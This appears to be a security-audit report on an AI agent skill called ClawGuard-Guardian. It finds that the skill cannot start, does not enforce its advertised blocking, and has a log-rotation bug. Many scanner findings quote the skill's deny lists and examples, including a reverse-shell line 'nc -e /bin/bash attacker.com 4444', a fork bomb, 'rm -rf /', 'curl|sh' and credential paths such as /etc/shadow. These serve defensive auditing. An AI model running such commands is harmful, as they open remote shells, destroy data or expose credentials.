T09 · Insecure Skill Coding Practices
Error
- Location
src/guardian.js:12- Finding
Missing Runtime Rules Module Prevents Guardian Startup
- Content
View full analysis
- Remediation
View remediation
Security audit
ClawGuard-Guardian
Security checks for vulnerabilities and agentic risk
Overview
The skill presents itself as a runtime security guardian, but the packaged code cannot start and the advertised blocking/freezing controls are not actually enforced.
Review carefully before installing or relying on this skill. The dangerous strings flagged by scanners are mostly safety-rule examples, not active malware, but the package currently provides false assurance: it cannot start as shipped and does not technically block, freeze, or intercept operations as advertised.
Vulnerability Patterns
- Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
- Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
- Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
- Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
- Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (3)
T09 · Insecure Skill Coding Practices
Error
- Location
src/guardian.js:426- Finding
Advertised Runtime Interception and Session Freeze Controls Are Not Enforced
- Content
View full analysis
{ if (!this.isActive) { clearInterval(checkInterval); return; } count++; if (count % 30 === 0) { // Emit a heartbeat every 30 seconds this.emit('heartbeat', { timestamp: new Date().toISOString(), sessionId: this.currentSession ? this.currentSession.id : undefined, operationsCount: this.currentSession ? (this.currentSession.operations ? this.currentSession.operations.length : 0) : 0 }); } }, 1000); } /** * Validate whether a path is permitted */ validatePath(filePath) { const normalizedPath = path.normalize(filePath); // Check denied paths for (const pattern of this.rules.pathRules.deny) { if (this.matchPathPattern(normalizedPath, pattern)) { return { allowed: false, reason: 'Access to this path is prohibited', pattern }; } } return { allowed: true }; } /** * Validate whether a command is permitted */ validateCommand(command) { const lowerCommand = command.toLowerCase(); // Check denied commands for (const pattern of this.rules.commandRules.deny) { if (new RegExp(pattern, 'i').test(lowerCommand)) { return { allowed: false, reason: 'This command is prohibited', pattern }; } } // Check commands requiring confirmation for (const pattern of this.rules.commandRules.requireConfirm) { if (new RegExp(pattern, 'i').test(lowerCommand)) { return { allowed: true, requiresConfirm: true, reason: 'This command requires confirmation before e ...[truncated 2497 chars]- Remediation
View remediation
T09 · Insecure Skill Coding Practices
Warning
- Location
src/guardian.js:579- Finding
Incorrect Audit Log Rotation Condition Allows Unbounded Log Growth
- Content
View full analysis
(this.rules && this.rules.auditConfig && this.rules.auditConfig.maxLogSize) || 100 * 1024 * 1024) { // Simple rotation: add a sequence value const ext = path.extname(this.currentFile); const base = this.currentFile.replace(ext, ''); this.currentFile = `${base}-${Date.now()}${ext}`; } ``` ### Technical Analysis The condition does not compare the file size against a fallback limit. Due to JavaScript operator evaluation, the expression is equivalent to: ```javascript (stats.size > configuredValue) || 104857600 ``` The numeric value `104857600` is truthy, so the branch executes after every successful log write regardless of file size. The rotation implementation then only changes `this.currentFile`; it does not rename or move the existing daily log. On the following call, `getLogFileName()` returns the original daily filename and resets `this.currentFile` to it. As a result, writes continue to append to the original file and no effective rotation occurs. The documented maximum size, retained-file count, and retention period are therefore not enforced. ### Attack Path 1. An attacker or malfunctioning integration generates a large number of audit events. 2. Each event is appended synchronously to the daily JSONL file. 3. The faulty condition enters the nominal rotation branch after every write. 4. No existing file is renamed, truncated, compressed, or deleted. 5. The next log call returns to the original daily filename. 6. The file continues growing until available storage is exhausted or filesystem performance degrades. Exploitation requires the ability to trigger logged events. It does not grant additional privileges, but it can c ...[truncated 539 chars]- Remediation
View remediation
maxLogSize) { rotateLogFile(); } ``` 2. Pass the rules configuration into `AuditLogger` or define logging configuration directly in that class. 3. During rotation, atomically rename the current file before selecting a new output file. 4. Enforce the documented maximum retained-file count and retention period. 5. Apply restrictive permissions to the log directory and files because operation targets may contain sensitive data. 6. Add tests that write beyond the configured threshold and verify that: - the active file remains below the intended bound; - rotated files are created correctly; - old files are deleted according to retention policy. 7. Consider asynchronous or buffered logging with backpressure to reduce denial-of-service risk from high event volume. ]]>
Vulnerability Patterns
- Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
- Tool MisuseTool Parameter Abuse, Chaining Abuse, Unsafe Defaults
- YARA SignaturesMalware Match, Webshell Match, Cryptominer Match
- Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
- Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
Findings (45)
YARA rule 'reverse_shell': Reverse shell patterns in scripts or source code [malware]
Critical
- Category
- YARA Match
- Confidence
- 85% confidence
- Finding
YARA rule matched a known malware signature (reverse shell, backdoor, ransomware, C2 framework, or info stealer).
- Content
md ��═══════════════════════════════════════════════════════════════╣ ║ Session: session-xxx ║ ║ Frozen: YYYY-MM-DD HH:MM:SS ║ ║ Reason: CRITICAL threat detected ║ ║ Last Op: nc -e /bin/bash attacker.com 4444 ║ ╠═══════════════════════════════════════════════════════════════╣ ║ Pending: 3 operations ║ ║ Evidence: Preserved ║ ╚═══════════════════════════════════════════════════════════════╝ Type "unfreeze session-xxx" to
YARA rule 'agent_skill_destructive_autonomous_actions': Autonomous destructive filesystem, shell history, or repository actions in AI agent skills [agent_skills]
High
- Category
- YARA Match
- Confidence
- 75% confidence
- Finding
YARA rule matched a known malware signature (reverse shell, backdoor, ransomware, C2 framework, or info stealer).
- Content
────────────
text --- ## 拦截规则 ### 路径规则 **禁止访问**：/etc/* # 系统配置 /root/* # root 目录 /.ssh/* # SSH 密钥 /.aws/* # AWS 凭证 /.kube/* # Kubernetes 配置
text **需要确认**：/etc/ # 系统目录 /var/ # 日志目录
text ### 命令规则 **禁止执行**：rm -rf / # 危险删除 rm -rf /home # 删除用户目录 :(){ :|:& };: # Fork 炸弹 dd if=* of=/dev/ # 磁盘写入
text **需要确认**：rm -rf # 大范围删除 chmod 777 # 权限过宽 killall # 批量终止 shutdown # 系统关机
text --- ## 审计日志 日志位置：`~/.clawguard/logs/` 日志格式： ```json { "timestamp": "2026-03-21T10:30:00.000Z", "sessionId": "session-xxx", "type": "operation", "action": "读取文件", "target": "/etc/passwd", "result": "BLOCKED", "riskLevel": "CRITICAL" }
�
Tool Parameter Abuse
High
- Category
- Tool Misuse
- Confidence
- 80% confidence
- Finding
Classifying broad destructive commands like 'rm -rf', 'chmod 777', 'killall', and 'shutdown' as merely 'needs confirmation' may be too permissive for an auto-invoked agent skill. Confirmation mechanisms are often weak or bypassable in agent workflows, so dangerous operations may still proceed and cause system damage or denial of service.
- Content
需要确认：
text rm -rf # 大范围删除 chmod 777 # 权限过宽 killall # 批量终止 shutdown # 系统关机
Credential Access
High
- Category
- Privilege Escalation
- Confidence
- 78% confidence
- Finding
The audit log example records sensitive target paths such as '/etc/passwd', demonstrating that the system may persist high-sensitivity operation metadata to disk. Even if the underlying action is blocked, storing sensitive targets in logs can leak reconnaissance details or confidential file-access attempts to anyone who can read the log directory.
- Content
md "sessionId": "session-xxx", "type": "operation", "action": "读取文件", "target": "/etc/passwd", "result": "BLOCKED", "riskLevel": "CRITICAL" }
Credential Access
High
- Category
- Privilege Escalation
- Confidence
- 60% confidence
- Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
- Content
📺 Session Replay: ✅ [10:30:01] Command: ls -la ✅ [10:30:05] File: Read /tmp/test.txt 🚫 [10:30:10] File: /etc/passwd (BLOCKED) ✅ [10:30:15] Network: api.github.com
text
Credential Access
High
- Category
- Privilege Escalation
- Confidence
- 60% confidence
- Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
- Content
📺 Session Replay: ✅ [10:30:01] Command: ls -la ✅ [10:30:05] File: Read /tmp/test.txt 🚫 [10:30:10] File: /etc/passwd (BLOCKED) ✅ [10:30:15] Network: api.github.com
text
Credential Access
High
- Category
- Privilege Escalation
- Confidence
- 60% confidence
- Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
- Content
📺 Session Replay: ✅ [10:30:01] Command: ls -la ✅ [10:30:05] File: Read /tmp/test.txt 🚫 [10:30:10] File: /etc/passwd (BLOCKED) ✅ [10:30:15] Network: api.github.com
text
Credential Access
High
- Category
- Privilege Escalation
- Confidence
- 60% confidence
- Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
- Content
📺 Session Replay: ✅ [10:30:01] Command: ls -la ✅ [10:30:05] File: Read /tmp/test.txt 🚫 [10:30:10] File: /etc/passwd (BLOCKED) ✅ [10:30:15] Network: api.github.com
text
Tool Parameter Abuse
High
- Category
- Tool Misuse
- Confidence
- 90% confidence
- Finding
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
- Content
md | Pattern | Risk | Action | |---------|------|--------| | `rm -rf /home` | 🔴 CRITICAL | BLOCK | | `curl\|sh` | 🔴 CRITICAL | BLOCK | | `nc -e` | 🔴 CRITICAL | BLOCK | | `sudo su` | 🟠 HIGH | WARN |
Tool Parameter Abuse
High
- Category
- Tool Misuse
- Confidence
- 90% confidence
- Finding
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
- Content
md | Pattern | Risk | Action | |---------|------|--------| | `rm -rf /home` | 🔴 CRITICAL | BLOCK | | `curl\|sh` | 🔴 CRITICAL | BLOCK | | `nc -e` | 🔴 CRITICAL | BLOCK | | `sudo su` | 🟠 HIGH | WARN |
Tool Parameter Abuse
High
- Category
- Tool Misuse
- Confidence
- 90% confidence
- Finding
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
- Content
md | Pattern | Risk | Action | |---------|------|--------| | `rm -rf /home` | 🔴 CRITICAL | BLOCK | | `curl\|sh` | 🔴 CRITICAL | BLOCK | | `nc -e` | 🔴 CRITICAL | BLOCK | | `sudo su` | 🟠 HIGH | WARN |
Tool Parameter Abuse
High
- Category
- Tool Misuse
- Confidence
- 90% confidence
- Finding
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
- Content
md | Pattern | Risk | Action | |---------|------|--------| | `rm -rf /home` | 🔴 CRITICAL | BLOCK | | `curl\|sh` | 🔴 CRITICAL | BLOCK | | `nc -e` | 🔴 CRITICAL | BLOCK | | `sudo su` | 🟠 HIGH | WARN |
Tool Parameter Abuse
High
- Category
- Tool Misuse
- Confidence
- 90% confidence
- Finding
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
- Content
md | Pattern | Risk | Action | |---------|------|--------| | `rm -rf /home` | 🔴 CRITICAL | BLOCK | | `curl\|sh` | 🔴 CRITICAL | BLOCK | | `nc -e` | 🔴 CRITICAL | BLOCK | | `sudo su` | 🟠 HIGH | WARN |
Tool Parameter Abuse
High
- Category
- Tool Misuse
- Confidence
- 90% confidence
- Finding
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
- Content
md | Pattern | Risk | Action | |---------|------|--------| | `rm -rf /home` | 🔴 CRITICAL | BLOCK | | `curl\|sh` | 🔴 CRITICAL | BLOCK | | `nc -e` | 🔴 CRITICAL | BLOCK | | `sudo su` | 🟠 HIGH | WARN |
Tool Parameter Abuse
High
- Category
- Tool Misuse
- Confidence
- 90% confidence
- Finding
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
- Content
md | Pattern | Risk | Action | |---------|------|--------| | `rm -rf /home` | 🔴 CRITICAL | BLOCK | | `curl\|sh` | 🔴 CRITICAL | BLOCK | | `nc -e` | 🔴 CRITICAL | BLOCK | | `sudo su` | 🟠 HIGH | WARN |
Tool Parameter Abuse
High
- Category
- Tool Misuse
- Confidence
- 90% confidence
- Finding
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
- Content
md | Pattern | Risk | Action | |---------|------|--------| | `rm -rf /home` | 🔴 CRITICAL | BLOCK | | `curl\|sh` | 🔴 CRITICAL | BLOCK | | `nc -e` | 🔴 CRITICAL | BLOCK | | `sudo su` | 🟠 HIGH | WARN |
Tool Parameter Abuse
High
- Category
- Tool Misuse
- Confidence
- 90% confidence
- Finding
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
- Content
md | Pattern | Risk | Action | |---------|------|--------| | `rm -rf /home` | 🔴 CRITICAL | BLOCK | | `curl\|sh` | 🔴 CRITICAL | BLOCK | | `nc -e` | 🔴 CRITICAL | BLOCK | | `sudo su` | 🟠 HIGH | WARN |
Tool Parameter Abuse
High
- Category
- Tool Misuse
- Confidence
- 85% confidence
- Finding
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
- Content
md | Pattern | Risk | Action | |---------|------|--------| | `rm -rf /home` | 🔴 CRITICAL | BLOCK | | `curl\|sh` | 🔴 CRITICAL | BLOCK | | `nc -e` | 🔴 CRITICAL | BLOCK | | `sudo su` | 🟠 HIGH | WARN |
Tool Parameter Abuse
High
- Category
- Tool Misuse
- Confidence
- 80% confidence
- Finding
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
- Content
md | `nc -e` | 🔴 CRITICAL | BLOCK | | `sudo su` | 🟠 HIGH | WARN | | `rm -rf` | 🟠 HIGH | CONFIRM | | `chmod 777` | 🟠 HIGH | CONFIRM | ### Type 2: File Operation Monitoring
Tool Parameter Abuse
High
- Category
- Tool Misuse
- Confidence
- 80% confidence
- Finding
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
- Content
md | `nc -e` | 🔴 CRITICAL | BLOCK | | `sudo su` | 🟠 HIGH | WARN | | `rm -rf` | 🟠 HIGH | CONFIRM | | `chmod 777` | 🟠 HIGH | CONFIRM | ### Type 2: File Operation Monitoring
Credential Access
High
- Category
- Privilege Escalation
- Confidence
- 95% confidence
- Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
- Content
md // Absolute deny DENY: [ '/etc/passwd', '/etc/shadow', '/etc/sudoers', '/etc/cron.d', '/root/.*',
Tool Parameter Abuse
High
- Category
- Tool Misuse
- Confidence
- 85% confidence
- Finding
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
- Content
md const COMMAND_RULES = { // Absolute deny DENY: [ 'rm -rf /', 'rm -rf /home', 'rm -rf /root', ':(){ :|:& };:', // Fork bomb
Tool Parameter Abuse
High
- Category
- Tool Misuse
- Confidence
- 85% confidence
- Finding
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
- Content
md // Absolute deny DENY: [ 'rm -rf /', 'rm -rf /home', 'rm -rf /root', ':(){ :|:& };:', // Fork bomb 'dd if=.*of=/dev/',
Tool Parameter Abuse
High
- Category
- Tool Misuse
- Confidence
- 85% confidence
- Finding
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
- Content
md DENY: [ 'rm -rf /', 'rm -rf /home', 'rm -rf /root', ':(){ :|:& };:', // Fork bomb 'dd if=.*of=/dev/', 'mkfs',
Tool Parameter Abuse
High
- Category
- Tool Misuse
- Confidence
- 90% confidence
- Finding
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
- Content
md DENY: [ 'rm -rf /', 'rm -rf /home', 'rm -rf /root', ':(){ :|:& };:', // Fork bomb 'dd if=.*of=/dev/', 'mkfs',